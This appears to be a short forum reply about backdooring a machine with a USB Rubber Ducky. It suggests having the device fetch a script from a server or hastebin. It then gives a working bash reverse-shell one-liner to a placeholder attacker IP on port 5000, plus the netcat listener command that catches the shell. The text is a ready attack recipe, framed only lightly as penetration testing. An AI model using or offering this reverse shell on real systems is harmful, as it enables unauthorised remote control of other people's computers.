If you really want to use Python, have the Ducky grab the script from a server (Or hastebin). However, there are much easier ways to accomplish a backdoor. You can just execute this command: `bash -i >& /dev/tcp/pentesterIPaddr/5000 0>&1` on UNIX systems and catch the shell with Netcat. (nc -l -p 5000)